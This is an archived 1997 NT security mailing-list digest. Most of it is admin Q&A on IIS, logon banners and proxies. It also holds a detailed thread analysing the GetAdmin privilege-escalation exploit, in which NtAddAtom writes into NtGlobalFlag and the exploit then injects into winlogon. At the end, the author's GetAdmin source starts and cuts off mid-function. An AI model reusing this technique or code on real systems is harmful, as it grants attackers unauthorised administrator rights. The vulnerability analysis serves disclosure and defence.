I think that you all need to get a life...
===============================
Liam H. Colvin
random@ais.net
 ----
From: Alexander Oulton 
To: 'Clem.Dye@gb.swissbank.com'; 'ntsecurity@iss.net'
Date: July 04, 1997 3:18 PM
Subject: [NTSEC] NT Internals and associations with the BORG

|RESISTANCE IS FUTILE YOU WILL BE ASSIMULATED.
|
|It occurs to me that the folks who owned NTINTERNALS
|have either had the fear of god put on them with legal heavy weights
|or they had a sizable $$ offer to shut it down.. or both.
|
|To respond about 'not waking up to the bigger picture' comments.....
|(AKA MS dominating the world)
|If u slowly start to irritate something or someone initially it is
ignored.
|By the time it gets painful it is often too late.
|In this case slow incremental disadvantages are not considered bad enough
for the benefits
|that MS has brought (which they have). It will be a few years later that
people might start to have serious thoughts
|about whether they should have chosen MS as the core of their technology.
|
|Just my thoughts...
|
|Thanks for listening
|
|Alex O.
|sorry this is a little of topic.
|----------
|From: Clem.Dye@gb.swissbank.com[SMTP:Clem.Dye@gb.swissbank.com]
|Sent: 04 July 1997 08:58
|To: jiva@devware.com
|Cc: NashWJ@exchange1.usps.gov; NTBUGTRAQ@RC.ON.CA; ntsecurity@iss.net
|Subject: Re: [NTSEC] RE: www.ntinternals.com site down indefinitly
|
|If the cause of the site disappearing is down to pressure from M$, then I
|agree with the sentiments expressed. Mickeysoft are good at this sort of
|thing. More importantly though, I believe that it shows the way of
things,
|when in the future, the Microsoft Borg has assimilated just about all
known
|software vendors, so that all we're left with is a choice of M$ software
or
|squat.
|
|Are we all collectively too stupid to wake up to this, or am I missing
|something here?
|
|
|Clem
|
|______________________________ Reply Separator ____________________________
_____
|Subject: Re: [NTSEC] RE: www.ntinternals.com site down indefinitly
|Author: jiva (jiva@devware.com) at unix,mime
|Date: 04/07/97 03:12
|
|
|This seems like rather an affront to developers for MS platforms, and an
|offense to the user populace as a whole, don't you think? I realize this
|is wayyy off topic, and this'll be my last public message about this. 
But,
|perhaps we should all let MS know how much we enjoyed www.ntinternals.com,

|and how unhappy we are with this clear attack on free speech, freedom of
|the press, etc etc etc...
|
|Flames >> /dev/null
|
|Support >> jiva@devware.com
|
|At 01:19 PM 7/3/97 -0400, Nash, Jason X wrote:
|>Check this out: http://www.news.com/Rumors/0,29,,00.html
|>Says Microsoft wasn't too happy with them. :)
|>
|>Jason Nash
|>
|>> -----Original Message-----
|>> From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET]
|>> Sent: Wednesday, July 02, 1997 6:02 PM
|>> To: NTBUGTRAQ@RC.ON.CA
|>> Subject: Re: www.ntinternals.com site down indefinitly - Why?
|>>
|>> >>Can it be that Microsoft has put its legal thumb on them and started
|>> to
|>> squeeze? They have indeed revealed quite a few NT "secrets"
|>> lately...<<
|>>
|>> My impression is that they want to start making money for their
|>> efforts. They have a new site for that.
|>>
|>> Don
|>>
|>> From: Lars Fosdal [SMTP:lfosdal@FALCON.NO]
|>> Sent: Wednesday, July 02, 1997 3:43 AM
|>> To: NTBUGTRAQ@RC.ON.CA
|>> Subject: www.ntinternals.com site down indefinitly - Why?
|>
|
|
|
| 


My apologies, I sent this to the wrong list. I belong to about
10 list and selected this one by mistake.

Thanks,
Kelly


At 11:33 AM 7/7/97 -0700, you wrote:
>Hello all,
>
>I seem to be having a little bit of a problem with IIS. We have an
>intranet server, and we want to set security permissions on certain areas
>of it. Most of our users use Netscape. We have made the necessary changes
>in the IIS Manager (Basic authentication), and it works fine when we create
>a file and give a local user permissions to access it. However, when we
>create a HTML document on a member server, and try to give a domain account
>access to it, the domain user can not authenticate. If we try it on the
>PDC, it does work (obviously, since the PDC uses the domain account
>database as its local account database).
>
>I've tried messing around with the "log on locally" right for domain users,
>both on the domain, and on the member server, but nothing seems to work.
>Any suggestions?

Are folks with domain accounts logging in as DOMAIN\username?

(And if that solves it...)

You can set the default domain at:
HKLM|SYSTEM|CurrentControlSet|Services|W3SVC|Parameters|DefaultLogonDomain

Greg

DOMAIN\User in the username box...

Eric


At 11:33 AM 7/7/97 -0700, Andrew Lison wrote:
>Hello all,
>
>I seem to be having a little bit of a problem with IIS. We have an
>intranet server, and we want to set security permissions on certain areas
>of it. Most of our users use Netscape. We have made the necessary changes
>in the IIS Manager (Basic authentication), and it works fine when we create
>a file and give a local user permissions to access it. However, when we
>create a HTML document on a member server, and try to give a domain account
>access to it, the domain user can not authenticate. If we try it on the
>PDC, it does work (obviously, since the PDC uses the domain account
>database as its local account database).
>
>I've tried messing around with the "log on locally" right for domain users,
>both on the domain, and on the member server, but nothing seems to work.
>Any suggestions?
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
[lines deleted]

> >* The hole: the system service NtAddAtom does not pay attention
> > where it stores the result it returns. GetAdmin abuses this to
> > set bit 0 of the byte at address NtGlobalFlag + 2.
> 
> This is why they had to open ntoskrnl.exe - they needed to look for the
> entry point to NtAddAtom. What I don't understand is why they needed to sit
> in a loop trying something 200+ times before it worked.

GetAdmin is traversing the list of exports in NTOSKRNL.EXE until it
hits the 'NtGlobalFlag' entry. However, a slightly modified version of
the exploit could contain the hard coded address of NtGlobalFlag.
This would make any access to NTOSKRNL.EXE unnecessary, but it would
make the exploit 'less portable' at the same time.

> >* By setting this bit, it seems, the check for debug privileges
> > is switched off in NtOpenProcess and NtOpenThread. Thus, everyone
> > is able to open any process currently in the system.
> 
> I'm not sure about this - they do make the call to acquire debug rights, and
> do get them. However, they do then open processes, and create threads when
> that user doesn't have any rights to the process. I think it is
> circumventing something other than the check for debug priviledge.

I'll try to clarify the point I wanted to make and get a bit into details.
When you open a process or a thread in Windows NT, your function call
is eventually passed to the kernel services NtOpenProcess or NtOpenThread.
These services verify, whether you are entitled to open the corresponding
process or thread object. It seems, that the debug privilege enables you
to open processes or threads not owned by you. When having a closer look
at the kernel services, you notice that the above mentioned flag overrides
the debug privilege, i.e. you do not need debug privileges if the above
flag is set. Seems to be some kind of global debug privilege. But then
again, maybe it's more than that and I just haven't looked closely
enough. :) Could anyone from MS elaborate on this, please?

> I'm not sure I agree that everyone can open all processes - have you
> verified this? 

This is easy to verify with PView. Start PView and double click on the
Winlogon process - you won't be shown its memory statistics. Now manually
set this flag, e.g. with SoftIce, and re-run PView. Now you'll be able
to look at the statistics. That means that PView is able to open the
process, doesn't it? Maybe I am missing something here.

[lines deleted]

> If you've really got it, then there are some fairly serious implications -
> this would mean that any call that doesn't check where it is writing could
> have pulled this off. I presume it had to get down into kernel space to
> accomplish this. This would imply that merely fixing NtAddAtom would be an
> insufficient fix - what needs to be done is to prohibit anything from
> writing that section of memory, kernel mode or not. I'd also guess that

The Nt* functions are kernel services. User-land processes are not able
to write to kernel memory. So, the problem is that NtAddAtom does not check
the arguments it is passed thoroughly enough. Some background: The Nt*
functions are invoked via INT 2E. EAX contains the service number (for
NtAddAtom this is 3) and EDX contains a pointer to the stack frame to be
used when calling NtAddAtom, i.e. the arguments, to be passed to it.
NtAddAtom takes two arguments: the string representing the atom and a
pointer to the memory location the result, i.e. the atom handle, is to
be stored in. NtAddAtom fails to assure that this location lies within
the address space of the process. Hence it is possible to have the kernel
service write the atom handle anywhere we want, e.g. somewhere near
NtGlobalFlag. If other services are equally sloppy, then I am afraid that
this has just been the beginning in a series of bugs (the buffer overflows
on Unix come to mind).

> what we're seeing is something which may have been intended for development
> use - another possible fix is to completely disable the mechanism that bit
> flags unless the OS is compiled with development defines. There is very

Then you are still open to attacks that involve modifying other parts of
the kernel, e.g. some vital privilege checks. The only correct fix is to
modify the kernel so that it cannot be tricked into abusing its privileges
(suid programs on Unix come to mind).

> likely some centralized point that references that bit.

Yes, it is referenced in NtOpenThread and NtOpenProcess. And possibly
somewhere else, although I haven't found any other occurences up to now.

> If the latter is the case, maybe we'll see a fairly robust fix very soon.

I am convinced that at this very moment a lot of Microsoft engineers are
doing the same thing as we are. Maybe anyone of MS wants to share his
findings and share his insight in the meaning of the obscure 'debug'
flag?

-Thomas

-- 
Thomas Lopatic lopatic@informatik.uni-muenchen.de
Bernhard,

Thanks for the response. 

Also to make sure that I maintain ISS protocol and only refer to security subjects
when utilizing this list, the questions about MS Proxy are of concern due to potential
exploitation of the product to spoof from the internal network. So.... Here are two 
follow-up questions and points:

 Q1: If the MS Proxy product does not translate IP Addresses,
 then why is a Local Address Table (LAT) maintained or even 
 necessary? 

Q2: Does anyone really know what the potential security risks
 associated with MS Proxy are? If so, where are these risks 
 documented?

P1: MS Proxy must interrogate the IP packets traversing the machine to 
 differentiate between an internal versus external destination, of course 
 if the target port is recognized. Otherwise information would not be 
 directed to and from the internal host targets. Hey this sounds like a 
 router, and aren't routers by nature insecure? Sure it's task specific and
 secure to the assigned task, Right?

P: I suppose a dynamic socket to socket translation (internal<->external)
 operations on a well known port could be... Naaa ... that would make
 the process simple and the environment easier to administer. You Think?

 Regards,

RB
OCNS, Inc.

> Does anyone know if MS Proxy does Network Address Translation (NAT)? If not 
 > out-of-the-box, then possibly an NT registry entry ..or two... or three.... 
 > (gotta be obscure)

Being a proxy ... no, it does not do NAT.

It will accept requests from a user's system and create a new connection
to forward the request to the external world (or wherever). External
systems will see the MS Proxy box as the originating IP address, not
that of the user's machine.

So:
* MS Proxy (more correctly, *any* proxy) will hide internal addresses
* but it does this not by using NAT techniques.

\Bernhard.


At 18:01 7/4/97 -0400, Illuminati Primus wrote:

[interesting method Linux uses snipped]
 
>So, basically, I am saying that the numbers generated by sending/receiving
>packets from one dest/source ip/port combination to measure sequence
>predictability of a target OS might be misleading, depending on the
>operating system. For linux, I am sure that if you look at the sequence
>numbers given to your sequence probers for different port combinations,
>the rate of predictability will be FAR beneath 5%. It is possible that
>there might be a similar sequence number generator in place for NT. We
>can only hope the people in Redmond thought of that :)

What you can run into is a situation where even given a very random sequence
number generation scheme, you'll have the difference be the same for more
than one pair of packets. Note that if you send 24 packets for your sample,
and you guess just one, you get ~5%...

I'd venture that actually spoofing something with a sequence generation
method such as Linux uses would be somewhat difficult, but as you point out,
you could essentially brute force it until you got lucky.

I hope to see NT improve significantly in this area - look at it this way -
it used to be hideously predictable (v1.0), now it is a little less so
(v2.0), and on the next try, they will get it right! 

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Hi,

What is a good way to p/w protect web pages using IIS to serve and
Netscape or Inet Explorer as client?


thanks in advance!

John Van Dyke
S.A. 
Broadbase Information Systems
The NT Disk Administrator app allows you to save a striped disk set's
configuration on a floppy disk. Connect the raid to the new server, run
the Disk Administrator utility and select Restore from the Configuration
menu. Works with going from 3.51 to 4.0 as well.

At 09:05 AM 7/7/97 -0500, Swaim, Mike wrote:
>I haven't had experience with that scenario, but I did once have to
>reinstall NT from scratch after sticking a JAZ drive on a server. We
>were able to read from the nonstriped drives just fine after
>reinstalling. The drives that were striped (in software) had to be
>reformatted and restriped.
>
>Mike "Special Agent of Chaos" Swaim
>Work: mpswaim@gdseng.com Home: swaim@phoenix.net
>Disclaimer: I Lie
>
>> -----Original Message-----
>> From: Patrick Patterson [SMTP:cnss@accent.net]
>> Sent: Thursday, July 03, 1997 8:41 AM
>> To: ntsecurity@iss.net
>> Subject: [NTSEC] Server to BDC?? and NTFS Question
>> Question #2:
>> 
>> Scenario:
>> 
>> Server #1 3.51 with an internal Hard Drive C: (NTFS), external raid 5
>> tower 
>> D: (also NTFS)
>> Server #2 3.51 with an internal Drive C: (NTFS)
>> 
>> Ok, the question is: is it possible, without loosing the permissions 
>> and shares set up on Server 1 Drive D, to unplug it from Server one,
>> and 
>> plug it into server 2. (assuming that all hardware is in fact 
>> compatible, etc., etc.) I'm not up on the internals of NTFS, but it 
>> would seem to me that the file permissions and security would stay, 
>> but the shares would be lost... am I correct?
>> 
>> 
>
>

More below...

>-----Original Message-----
>From: David LeBlanc [SMTP:dleblanc@iss.net]
>Sent: Monday, July 07, 1997 3:06 PM
>To: Thomas Lopatic; ntsecurity@iss.net
>Cc: ntbugtraq@rc.on.ca
>Subject: Re: [NTSEC] GetAdmin - Technical Background
>
>At 19:58 7/7/97 +0200, Thomas Lopatic wrote:
>>Hello there,
>>
>>I thought I'd share my findings with the net community. Hopefully
>>someone will be able to fill in the gaps so that together we'll
>>get the whole picture of what GetAdmin really does.
>
>You've got what I hadn't figured out so far - now I think we can put it all
>together - 
>
>>* The hole: the system service NtAddAtom does not pay attention
>> where it stores the result it returns. GetAdmin abuses this to
>> set bit 0 of the byte at address NtGlobalFlag + 2.
>
>This is why they had to open ntoskrnl.exe - they needed to look for the
>entry point to NtAddAtom. What I don't understand is why they needed to sit
>in a loop trying something 200+ times before it worked.
>
>[Todd Sabin] 
>They don't need ntoskrnl.exe to find the entry point to NtAddAtom. They need
>it to find the address of NtGlobalFlag. NtAddAtom is accessed directly
>through an interrupt call which the OS dispatches. This means that the
>workaround of making ntosknrl.exe not readable is not foolproof. It would be
>possible to hard-code the address of NtGlobalFlag for the known versions of
>the operating system. In this case, ntoskrnl.exe isn't needed for anything.
>
>I'm not sure why they loop 200 times either, but I suspect the following.
>The parameters to AddAtom allow them to specify the address to store the atom
>in, and the data from which to make the atom, but NT itself decides what the
>actual atom value will be. Therefore, to get the value they want stuffed
>into NtGlobalFlag, they need to spin through calls to AddAtom until they get
>back the value they want. Again, this is just a guess.
>
>>* By setting this bit, it seems, the check for debug privileges
>> is switched off in NtOpenProcess and NtOpenThread. Thus, everyone
>> is able to open any process currently in the system.
>
>I'm not sure about this - they do make the call to acquire debug rights, and
>do get them. However, they do then open processes, and create threads when
>that user doesn't have any rights to the process. I think it is
>circumventing something other than the check for debug priviledge.
>
>I'm not sure I agree that everyone can open all processes - have you
>verified this? 
>
>[Todd Sabin] 
>I'm not clear on this either, but it seems that getting Debug privileges
>doesn't require anything special. I just created a user _without_
>SeDebugPrivilege, and yet was able to use Task Manager to attach to the
>ordinary running processes on my machine. I was unable to attach to either
>of winlogon.exe or lsass.exe. I don't understand why this works. I was
>under the impression that you needed to have SeDebugPrivilege to debug _any_
>process.
>
>More proof that the SeDebugPrivilege stuff in GetAdmin is totally normal is
>this: 
>o Create a new user with no special rights.
>o Try to debug winlogon.exe (w/ TaskManager) -- fails
>o log in as someone else and run GetAdmin
>o log back in as the user with no rights
>o you will now be able to debug winlogon.exe from TaskManager.
>Once GetAdmin sets that bit, _anyone_ can debug these processes
>
>>* GetAdmin opens the Winlogon process and adds a suspended thread
>> to it. After that, it does some fiddling with the stack of the
>> newly created thread. Guess it inserts some code and a bogus
>> return address to make calls to GASYS.DLL, which eventually grants
>> the administrator privileges after the thread is resumed.
>
>Once they get to that point, it is doing some fairly normal
>CreateRemoteThread stuff to get a system process to run the call to add the
>user to the admin group.
>
>>That's where I've stopped investigating. Did anyone analyze beyond
>>this point? Don't hesitate and throw your findings in.
>
>If you've really got it, then there are some fairly serious implications -
>this would mean that any call that doesn't check where it is writing could
>have pulled this off. I presume it had to get down into kernel space to
>accomplish this. This would imply that merely fixing NtAddAtom would be an
>insufficient fix - what needs to be done is to prohibit anything from
>writing that section of memory, kernel mode or not. I'd also guess that
>what we're seeing is something which may have been intended for development
>use - another possible fix is to completely disable the mechanism that bit
>flags unless the OS is compiled with development defines. There is very
>likely some centralized point that references that bit.
>
>If the latter is the case, maybe we'll see a fairly robust fix very soon.
>
>[Todd Sabin] 
>Most of the Kernel entry points that take output parameters have checks in
>them to determine whether the previous mode (i.e., the caller) was user or
>kernel. If the caller was in user space, then a check is made to ensure that
>the output buffers are also in user space (and valid). If the caller was in
>kernel space, then this check can be skipped, because the kernel trusts
>itself. 
>
>This logic is missing in NtAddAtom. From the looks of things, it's also
>missing from NtFindAtom. This is really a variation on the theme of NtCrash.
> It's a little surprising that Microsoft didn't fully learn the lesson...
>
>
>Todd
>
>
>-----------------------------------------------------------
>David LeBlanc | Voice: (770)395-0150 x138
>Internet Security Systems, Inc. | Fax: (404)395-1972
>41 Perimeter Center East | E-Mail: dleblanc@iss.net 
>Suite 660 | www: http://www.iss.net/
>Atlanta, GA 30328 |
>
To all concerned:

For domain access to work with the IIS server, the server must be running on a 
domain conrtoller (i.e. primary or backup domain controller0 to be able to 
access the SAM.

Additionally accounts that require access via IIS must also be configured for 
"log on locally". 

Additionally, it is unclear from ....

>....... However, when we
>create a HTML document on a member server, and try to give a domain account
>access to it, the domain user can not authenticate. If we try it on the
>PDC, it does work (obviously, since the PDC uses the domain account
>database as its local account database).
>

what you are trying to achieve. If you are sharing the document as part of a
tree, you will need to define the server as a virtual server via IIS. this 
requires entering a password the IIS server will use when getting the document 
from a member server (YUK), however this may solve your problem without having 
to move the server to a domain controller and using domain authentication.

Bill

-- 
Bill Rocholl Fermilab National Accelerator Laboratory
brocholl@fnal.gov Network Engineer

Disclaimer: Please note any opinions and notions represented in this 
 correspondence are mine and are not representative of my employer.



At 06:44 PM 7/7/97 -0500, you wrote:
>To all concerned:
>
>For domain access to work with the IIS server, the server must be running
on a 
>domain conrtoller (i.e. primary or backup domain controller0 to be able to 
>access the SAM.

This is not correct. If you follow the steps I gave in my message, there
is no problem logging on to protected IIS directories (with rights to
domain users or groups) from any machine in the domain (or across domains,
if trust relationships exist.)

Greg

On Mon, 7 Jul 1997, Andrew Lison wrote:

> a file and give a local user permissions to access it. However, when we
> create a HTML document on a member server, and try to give a domain account
> access to it, the domain user can not authenticate. If we try it on the
> PDC, it does work (obviously, since the PDC uses the domain account
> database as its local account database).

Instead of specifying just the "username" try "domain\username"
instead (along with the password, of course).

 _
| |
|-|
| |pu 

If the IIS server is installed on a stand-aloned server, not a PDC or BDC, then the default domain that is grabs it user database is from the machine itself. In order to change that, you need to create a registry value in HKLM\System\CurrentControlSet\Services\W3SVC\Paramters the value in this key should be "DefaultLogonDomain" it should be a REG_SZ and it value is the domain where your account reside. This will modify it for the WWW service to change the domain for FTP you need to go under the same tree and go to MSFTPSVC instead and put in the same key value under the parameters key. Another way to validate user if you don't want to do it this way is too use the "domain\username" method. When prompted for the username you would type in "mydomain\myusername" and the then the password when asked for it. Installation of IIS on a PDC or BDC is not necessary.

 gerard


-----Original Message-----
From: Bill Rocholl [SMTP:brocholl@FNAL.GOV]
Sent: Monday, July 07, 1997 6:45 PM
To: Greg Haverkamp
Cc: Andrew Lison; ntsecurity@iss.net
Subject: Re: [NTSEC] IIS Domain Security?

To all concerned:

For domain access to work with the IIS server, the server must be running on a 
domain conrtoller (i.e. primary or backup domain controller0 to be able to 
access the SAM.

Additionally accounts that require access via IIS must also be configured for 
"log on locally". 

Additionally, it is unclear from ....

>....... However, when we
>create a HTML document on a member server, and try to give a domain account
>access to it, the domain user can not authenticate. If we try it on the
>PDC, it does work (obviously, since the PDC uses the domain account
>database as its local account database).
>

what you are trying to achieve. If you are sharing the document as part of a
tree, you will need to define the server as a virtual server via IIS. this 
requires entering a password the IIS server will use when getting the document 
from a member server (YUK), however this may solve your problem without having 
to move the server to a domain controller and using domain authentication.

Bill

-- 
Bill Rocholl Fermilab National Accelerator Laboratory
brocholl@fnal.gov Network Engineer

Disclaimer: Please note any opinions and notions represented in this 
 correspondence are mine and are not representative of my employer.



>What is a good way to p/w protect web pages using IIS to serve and
>Netscape or Inet Explorer as client?


How secure do you want it?

There's a dinky little javascript called gatekeeper - don't put national secrets behind it it's not unbreakable, but it keeps out the averagely curious...

http://junior.apk.net/~jbarta/

Regards

Bob
***************************************
 Bob Love, Technical Director
 Heartbeat Online Tanzania Ltd
 Dar es Salaam, Tanzania
 http://www.raha.com/user/bob
***************************************

I know that workstations can display a message box with the caption and
text entered. Since my users logon directly to the Domain can such a
message be displayed at the PDC at logon? If so can anyone give me any
pointers setting up this "Legal Notice Before Log On"?


Thanks,
Bob Boyd

Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us

I agree ServU FTP is a great product compared to M$ FTP. We were initially just looking for a multi-homed FTP server but, ServU has been a whole lot more. Their web page is http://www.cat-soft.com.
Good Luck,
John Surprenant
john@intergate.net
Internet Gateway Communications, Inc.
http://www.intergate.net

-----Original Message-----
From: Charlie Derk [SMTP:charlie@eaki.net]
Sent: Thursday, July 03, 1997 8:19 PM
To: LES MAYEDA TECH SUPPORT/ISS X6656; ntsecurity@iss.net
Subject: Re: [NTSEC] ftp for NTServer User Accounts using IIS

I don't believe this is possible. We're running an ISP with NT, and we've
found a program called ServU FTP server that works very nicely. It has
exactly what you are looking for... and more! You can drop users in to any
directory you want. You can set individual login/log-off messages, set U/L
to D/L ratios and everything...

It may be worth checking in to. I think it only costs a couple bucks..

HTH,
Charlie

At 09:49 AM 7/3/97 -0700, LES MAYEDA TECH SUPPORT/ISS X6656 wrote:
>Hello,
>
>Does anyone know how to setup IIS ftp where when the actual NT
>users ftp in they get their own home directory, as defined
>in the User Manager, and not the ftproot directory?
>
>If this cannot be done, how does everyone support ftp for their
>NT Users?
>
>
>Thanks,
>
>Les Mayeda
>Cedars-Sinai Medical Center
>mayeda@csmc.edu
>
>
>




As far as I know, the registry setting for the legal notice only applies to
the local registry on whoch it is set; If you set it on a PDC or BDC, only
the person logging on locally at the server console will see the message.
In order to apply it to all domain NT workstations (I don't know if the
setting works in W95), it needs to be set in all of the local registries.
Setting it on existing deployed workstations could probably be done via
login scripts or SMS.

Hope this helps,
Erik Sojka

 *----------------------------*
 |Erik P. Sojka |
 |Network Administrator |
 |SCT Manufacturing Systems |
 |esojka@sctcorp.com |
 *----------------------------*






BBOYD@mail.state.ky.us on 07/08/97 08:24:38 AM

Please respond to BBOYD@mail.state.ky.us

To: ntsecurity@iss.net
cc: (bcc: Erik Sojka/MDS/SCT)
Subject: [NTSEC] DOMAIN (Legal Notice before Logon)




I know that workstations can display a message box with the caption and
text entered. Since my users logon directly to the Domain can such a
message be displayed at the PDC at logon? If so can anyone give me any
pointers setting up this "Legal Notice Before Log On"?

Thanks,
Bob Boyd
Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us







Do you want the message displayed on the Domain Controller only or do you
want it to be displayed on all Workstations that logon to the Domain?

If you are running NT 4.0 this is relatively easy, using the NT System
Policy Editor create a new policy. Select default computer, open Windows
NT system. Go to logon, go to logon, check the box, enter your message,
save you new .pol file something like ntconfig.pol.

Now if you have multiple BDC in the domain you will need to have
replication working, save the ntconfig.pol file in the export directory of
the machine which will act as the replication master, set the BDC to
replicate with it, this will copy the file to all the netlogon shares of
the BDC's, also remeber to make the replication master a replication partner.

You can also do this for Win95 machines, by using the Win95 Policy editor
and saving it to the export directory on the replication master.



At 08:24 AM 7/8/97 -0400, you wrote:
>I know that workstations can display a message box with the caption and
>text entered. Since my users logon directly to the Domain can such a
>message be displayed at the PDC at logon? If so can anyone give me any
>pointers setting up this "Legal Notice Before Log On"?
>
>
>Thanks,
>Bob Boyd
>
>Information Security Officer
>Kentucky Revenue Cabinet
>Office (502)564-5200 X4492
>Fax (502)564-9896
>e-mail BBoyd@ mail.state.ky.us
>
>
>
Brian S. Jazudek Direct: 412-772-8727
System Administrator (NT Servers) Main: 412-772-6600
FORE System, Inc. Fax: 412-772-6500
174 Thorn Hill Road Email: bsj@fore.com
Warrendale, PA 15086 URL: http://www.fore.com
 The IntraNetware client for NT replaces the GINA with a BMP (which can 
 be specified from the Network Control Panel). The docs, with the new 
 client, says any picture can be inserted into NT's GINA. I've just 
 been playing with it and replaced it with a warning.
 
 Davi
 
 davi-ottenheimer@uiowa.edu
 


______________________________ Reply Separator _________________________________
Subject: [NTSEC] DOMAIN (Legal Notice before Logon)
Author: "Boyd Bob" at internet
Date: 7/8/97 8:24 AM

--------------------------------------------------------------------------------
I know that workstations can display a message box with the caption and
text entered. Since my users logon directly to the Domain can such a 
message be displayed at the PDC at logon? If so can anyone give me any 
pointers setting up this "Legal Notice Before Log On"?
 
 
Thanks,
Bob Boyd
 
Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us
If you're using NT 4.0, you can set the legal notice warning using an
ntconfig.pol file in the netlogon share of any domain controller. You can
find the details in either the Workstation or Server Resource Kit.

Allan

At 09:01 AM 7/8/97 -0400, Erik Sojka wrote:
>
>
>
>As far as I know, the registry setting for the legal notice only applies to
>the local registry on whoch it is set; If you set it on a PDC or BDC, only
>the person logging on locally at the server console will see the message.
>In order to apply it to all domain NT workstations (I don't know if the
>setting works in W95), it needs to be set in all of the local registries.
>Setting it on existing deployed workstations could probably be done via
>login scripts or SMS.
>
>Hope this helps,
>Erik Sojka
>
> *----------------------------*
> |Erik P. Sojka |
> |Network Administrator |
> |SCT Manufacturing Systems |
> |esojka@sctcorp.com |
> *----------------------------*
>
>
>
>
>
>
>BBOYD@mail.state.ky.us on 07/08/97 08:24:38 AM
>
>Please respond to BBOYD@mail.state.ky.us
>
>To: ntsecurity@iss.net
>cc: (bcc: Erik Sojka/MDS/SCT)
>Subject: [NTSEC] DOMAIN (Legal Notice before Logon)
>
>
>
>
>I know that workstations can display a message box with the caption and
>text entered. Since my users logon directly to the Domain can such a
>message be displayed at the PDC at logon? If so can anyone give me any
>pointers setting up this "Legal Notice Before Log On"?
>
>Thanks,
>Bob Boyd
>Information Security Officer
>Kentucky Revenue Cabinet
>Office (502)564-5200 X4492
>Fax (502)564-9896
>e-mail BBoyd@ mail.state.ky.us
>
>
>
>
>
>
>
>
>
-------------------------------------------------------------------
All new computing problems must be reported to the Help Desk.
-------------------------------------------------------------------
Allan Bourdius Help Desk: (412) 772-8700
System Administrator (NT Servers) Direct: (412) 772-5807
Information Systems & Services Main: (412) 772-6600
FORE Systems, Inc. Fax: (412) 772-6500
174 Thorn Hill Road Email: abourdiu@fore.com
Warrendale, PA 15086 URL: http://www.fore.com
"At the FOREfront of ATM internetworking - The ATM Experts."
Personal URL: http://www.geocities.com/CapitolHill/8260/
This can be accomplished by using an app with the Resource Kit called
c2config. It will allow you to insert your legal notice in. It is also a
registry setting. It is in

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current
Version\Winlogon\LegalNoticeCaption and LegalNoticeText

Just enter in the text you want in here and it will pop open a window just
before you have the chance to log in (locally).
Greg

--------------------
Greg Whalin
gwhalin@numerix.com

On Tue, 8 Jul 1997 DOttenheimer@rad-eng-po.radiology.uiowa.edu wrote:

> The IntraNetware client for NT replaces the GINA with a BMP (which can 
> be specified from the Network Control Panel). The docs, with the new 
> client, says any picture can be inserted into NT's GINA. I've just 
> been playing with it and replaced it with a warning.
> 
> Davi
> 
> davi-ottenheimer@uiowa.edu
> 
> 
> 
> ______________________________ Reply Separator _________________________________
> Subject: [NTSEC] DOMAIN (Legal Notice before Logon)
> Author: "Boyd Bob" at internet
> Date: 7/8/97 8:24 AM
> 
> --------------------------------------------------------------------------------
> I know that workstations can display a message box with the caption and
> text entered. Since my users logon directly to the Domain can such a 
> message be displayed at the PDC at logon? If so can anyone give me any 
> pointers setting up this "Legal Notice Before Log On"?
> 
> 
> Thanks,
> Bob Boyd
> 
> Information Security Officer
> Kentucky Revenue Cabinet
> Office (502)564-5200 X4492
> Fax (502)564-9896
> e-mail BBoyd@ mail.state.ky.us
> 

In System Policy Editor, add the computer name of the system which needs the 
banner. Then under that computer go to Windows NT System then Logon where there 
is a selection for Logon Banner. Enable this and you can insert text that pops 
up prior to logon. You'll need to save this policy to the \\DomainName\NETLOGON 
share (usually c:\winnt\system32\Repl\Import\Scripts) as NTconfig.pol.

I had some problems implementing this and then disabling it. The only way I 
could successfully disable the banner was to delete the computer policy. I 
think it's a little flaky.

Joel

--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



-----Original Message-----
From: Boyd, Bob [SMTP:BBOYD@mail.state.ky.us]
Sent: Tuesday, July 08, 1997 8:25 AM
To: 'ntsecurity@iss.net'
Subject: [NTSEC] DOMAIN (Legal Notice before Logon)
Importance: High

I know that workstations can display a message box with the caption and
text entered. Since my users logon directly to the Domain can such a
message be displayed at the PDC at logon? If so can anyone give me any
pointers setting up this "Legal Notice Before Log On"?


Thanks,
Bob Boyd

Information Security Officer
Kentucky Revenue Cabinet
Office (502)564-5200 X4492
Fax (502)564-9896
e-mail BBoyd@ mail.state.ky.us


Web: http://cmp.phys.msu.su/ntclub/pub/code.htm


GetAdmin source code.
 
 


Here's my program GetAdmin.

 This program can get administrator rights without any special 
privileges. Simly run GetAdmin or GetAdmin account_name from command line. 
If you not enter
account_name current account will be used.

How it works?

 Here's string that done all in getadmin: 
ChangeNtGlobalFlag(GetNtGlobalFlagPtr()); After that you can open any 
process in system, becose function NtOpenProcess
not checks for SE_DEBUG_PRIVILEGE if bit in NtGlobalFlag+2 is set.After it 
, program injects dll in winlogon process. Winlogon have SYSTEM account so 
it can
add / remove user in administrator group.

Function ChangeNtGlobalFlag :

BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag)
{
 DWORD callnumber = 0x3; //NtAddAtom
 DWORD stack[32] ;
 int i;
 DWORD handle=0;
 CHAR string[255];


 if(!pNtGlobalFlag) return 0;

 stack[0] = (DWORD)string;
 stack[1] = (DWORD)&handle; //pNtGlobalFlag;

 for(i=0;i ? 0x100;i++)
 {
 sprintf(string,"NT now cracking... pass %d",i);

 if(handle & 0xf00){
 stack[1] = (DWORD)pNtGlobalFlag+1;
 }

 __asm{
